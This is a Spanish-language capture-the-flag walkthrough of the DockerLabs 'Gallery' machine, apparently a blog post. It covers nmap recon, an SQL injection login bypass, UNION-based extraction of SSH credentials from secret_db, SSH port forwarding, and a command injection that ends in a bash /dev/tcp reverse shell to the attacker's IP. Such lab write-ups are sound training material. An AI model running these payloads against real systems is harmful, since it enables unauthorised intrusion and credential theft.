Back to all posts

Gallery

Platforms
Platform: DockerLabs
MySQLSQL InjectionCommand Injectionport forwarding
Gallery

Reconocimiento

Nmap

nmap -p- --min-rate 5000 -T5 --open -Pn 172.17.0.2 -o Ports

Nos devuelve los puertos:

  • 22
  • 80

Y ahora sabiendo esto, performaremos el siguiente escaneo:

nmap -p22,80 -sCV 172.17.0.2 -o Results

Lo que nos devuelve:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-19 12:32 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 19:95:1a:f2:f6:7a:a1:f1:ba:16:4b:58:a0:59:f2:02 (ECDSA)
|_  256 e7:e9:8f:b8:db:94:c2:68:11:4c:25:81:f1:ac:cd:ac (ED25519)
80/tcp open  http    PHP cli server 5.5 or later (PHP 8.3.6)
|_http-title: Galer\xC3\xADa de Arte Digital
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds

Aquí no vemos mucha cosa así que veamos que tenemos en la página web:

Gallery
Cómo podemos ver, tenemos una página que en un principio vemos dos obras y un botón Iniciar Sesión, veamos que tenemos ahí:
Gallery
Cómo vemos, tenemos un Admin Access login, supongamos que al iniciar sesión nos mande a algún panel o algo, así que vamos a intenta iniciar sesión

Explotación

SQL Injection (Auth Bypass)

Después de un rato probando con herramientas como Hydra o BurpSuite probé con SQLMap para ver si detecta algún SQL Injection y efectivamente, el campo Username el vulnerable a SQL Injection:

Gallery
Sabiendo esto, yo he probado con un SQLi Auth Bypass sencillo en concreto:

admin' OR '1'='1'-- -

Este payload lo que hace es intentar iniciar sesión como el usuario admin, y con ' OR '1'='1'-- - forzamos que la condición sea True sin necesidad de contraseña. El -- - comenta el resto de la consulta (como la parte del password), por lo que la base de datos nos deja pasar como si todo estuviera bien.

Acceso al Panel de Administración

Esto quedaría de la siguiente manera:

Gallery
Una vez iniciemos sesión, vemos que nos ha llevado a una Dashboard:
Gallery
Dónde podemos ver que hay dos partes:

  • Add New Artwork (Añadir un nuevo cuadro): Nos permite subir una nueva imagen o cuadro a la galería.
  • Search Artwork (Buscar entre los cuadros existentes): Nos permite buscar entre los cuadros ya subidos.

SQL Injection en "Search Artwork"

Personalmente, decidí revisar primero la parte de Search, ya que me parecía más interesante y con más potencial de contener otra SQL Injection (teniendo en cuenta que ya encontramos una en el login). Luego ya tocará mirar la de subir imagen, si no encontramos nada.

Para comprobar si esta sección también era vulnerable a SQL Injection, probé con un payload simple como:

' ORDER BY 1-- -

Identificación del Número de Columnas & Union Injection

Este tipo de inyección se usa para ver cuántas columnas tiene la consulta SQL por detrás. Si el número es válido, la página responde normal; si es mayor que las columnas disponibles, suele dar error. Así se puede deducir cuántas columnas hay.

En el ' ORDER BY 5-- - aún sigue mostrandolo todo normal:

Gallery
Pero al hacer ' ORDER BY 6-- - nos salta el siguiente error:
Gallery
Lo que quiere decir que esta tabla tiene 5 columnas, lo que podemos hacer ahora es lo siguente:

' UNION SELECT 1,2,3,4,5-- -

Este tipo de payload nos permite unir una segunda consulta (la nuestra) con la original que hace la página. Si todo sale bien, deberíamos ver algunos de esos números (2, 3, 4, 5) reflejados en la web, lo cual nos confirma que tenemos una inyección útil con salida visible.

En mi caso, al probar nos sale:

Gallery
Solo se muestran los valores

  • 2 (Rojo)
  • 3 (Amarillo)

En la página, lo que indica que esas son las columnas visibles, es decir, las que se muestran al usuario. Las demás (1, 4, 5) están presentes en la consulta, pero no se imprimen en la web, por lo que no podemos usarlas para exfiltrar datos directamente.

Esto es importante porque ahora, si queremos extraer información sensible, tenemos que reemplazar el 2 o el 3 por funciones útiles como database() para que se vean reflejadas.

Por ejemplo, podemos sacar el nombre de la base de datos actual con:

' UNION SELECT 1,2,database(),4,5-- -

Gallery
Qué en este caso el nombre de la base de datos actual es: gallery_db

Lo siguiente que hice fue intentar enumerar todas las bases de datos del sistema. Para ello, usamos la tabla especial de MySQL llamada information_schema, que contiene meta-información sobre todas las bases de datos, tablas y columnas del servidor.

Para listar todas las bases de datos, usamos este payload:

' UNION SELECT 1,2,group_concat(schema_name),4,5 FROM information_schema.schemata-- -

group_concat nos permite juntar múltiples resultados en una sola cadena separada por comas, así podemos verlos todos de golpe.

Donde vemos varias bases de datos, pero una en particular nos llama la atención:

  • secret_db
    Gallery

Enumerar tablas dentro de secret_db

Ahora que sabemos que secret_db existe, podemos listar todas las tablas que contiene, consultando la tabla information_schema.tables:

' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema='secret_db'-- -

Gallery
Vemos que contiene una sola tabla llamada:

  • secret

Enumerar columnas dentro de la tabla secret

Para saber qué campos hay dentro de esa tabla, ahora consultamos la tabla information_schema.columns con este payload:

' UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_name='secret'-- -

Gallery
Y vemos las columnas:

  • ssh_users
  • ssh_pass

Extraer el contenido de la tabla secret

Con toda esa información, ya podemos dumpear los datos reales de la tabla. Usamos de nuevo group_concat para que todo aparezca junto en la web, así:

' UNION SELECT 1,2,group_concat(ssh_users,':',ssh_pass),4,5 FROM secret_db.secret-- -

Con esto ya sabemos:

  • Usuario: sam
  • Contraseña:

Compromiso

Acceder por SSH con las credenciales obtenidas

Así que probé acceder mediante SSH al servidor con estas credenciales:

ssh sam@172.17.0.2

Gallery

Reconocimiento interno y port forwarding

Una vez dentro por SSH, lo primero que hice fue inspeccionar los procesos en ejecución con ps -faux, y allí descubrí algo interesante:

Gallery
Entre los procesos activos, me llamó la atención que había un servidor PHP levantado en el puerto 8888 escuchando solo en localhost (127.0.0.1). Esto indicaba que probablemente había una página web interna que no era accesible desde fuera. Además, vi que el sistema tenía instalado nmap por lo cual pude comprobar mi sospecha:

nmap localhost
tarting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-20 15:38 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000080s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8888/tcp open  sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

Ya que teníamos una sesión SSH activa, aproveché para hacer un port forwarding del puerto 8888 al mío local con:

ssh -L 8888:127.0.0.1:8888 sam@172.17.0.2

Abrí http://localhost:8888 en el navegador y me encontré con una especie de terminal:

Gallery
Probé algunos comandos (help, list_art, view_logs, etc.) y todos respondían con mensajes generados por la aplicación, indicando que se trataba de una interfaz simulada, no una shell real.

Escalada de Privilegios

Sin embargo, al modificar los inputs, como agregar caracteres especiales o intentar encadenar comandos, noté que algunos de esos comandos respondían de forma extraña. Esto me dio pistas claras de que el backend estaba ejecutando comandos sin sanitizar correctamente la entrada, lo que significa que podría estar presente la vulnerabilidad Command Injection.

Entonces, decidí probar con un payload simple para comprobarlo:

help; id

Gallery
Al ver que el payload anterior ejecutaba el comando id correctamente, supe que la vulnerabilidad Command Injection estaba presente. Esto me dio la oportunidad de ejecutar comandos arbitrarios en el servidor.

Aprovechando esto, decidí intentar una revershell para obtener una shell interactiva en la máquina objetivo. Probé con el siguiente payload:

help; bash -c "bash -i >& /dev/tcp/172.17.0.1/<PORT> 0>&1"

Donde

  • <PORT>

Es el puerto que configuré para escuchar en mi máquina local. Al ejecutar este comando, la shell fue establecida exitosamente y obtuve acceso completo al servidor.

Gallery